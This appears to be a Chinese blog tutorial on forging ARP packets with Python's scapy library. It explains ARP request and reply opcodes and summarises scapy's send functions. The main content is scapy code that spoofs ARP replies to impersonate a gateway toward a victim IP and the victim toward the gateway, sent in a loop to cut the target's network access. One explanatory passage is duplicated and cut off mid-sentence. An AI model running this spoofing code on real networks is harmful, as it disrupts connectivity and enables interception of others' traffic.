构造ARP包发包

构造ARP包进行arp欺骗

arp分为请求包以及响应包 Opcode中的代码表示请求以及响应

使用wireshark抓包可见,Opcode为1可知这是一个请求包

在这里插入图片描述

再来看看响应包,它的Opcode为2

在这里插入图片描述

在使用scapy模块构造,arp应答包时,我们采用的是第二层发包(就是根据我们第二层中的封装的帧头来发包)

ptk2 = Ether()/ARP()#构造数据包

ptk2[ARP].op = 2#设置为应答包
ptk2[ARP].psrc = '192.168.0.1'#我们想要冒充的ip地址
ptk2[ARP].pdst = '192.168.0.107'#我们想要发送数据的ip地址

在我们没有设置ARP时我们 第二层目标地址mac默认为网关的地址

之后就是发包,sr 与 sr1都是在第三层发包,所以我们使用sr1发包时是没有用的。使用的srp1(pkt)方法来发包

srp1(ptk2)

如果想要目标机器断网,我们还得去使用上面的同样的方法去欺骗网关

arpspoof_gateway = Ether()/ARP()
arpspoof_gateway[ARP].op = 2
arpspoof_gateway[ARP].psrc = '192.168.0.107'
arpspoof_gateway[ARP].pdst = '192.168.0.1'

接着循环发送达到欺骗的目的

发送请求包

arp = ARP()
arp[ARP].op = 1
arp[ARP].pdst = '192.168.0.107'
sr1(arp)
四种发包方式用法如下:

(1)只发不收

  • send(),在第三层发包,不关心第二层的封装,第二层采用默认值;
  • sendp(),根据第二层发包,需要手动指定第二层如何封装。

(2)发包且收包

  • sr()和sr1()都是在第三层发包,sr1表示只接收第一个回复。
    动指定第二层如何封装。

(2)发包且收包

  • sr()和sr1()都是在第三层发包,sr1表示只接收第一个回复。
  • srp()和srp1()都是根据第二层发包,srp1表示只接收第一个回复。
  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值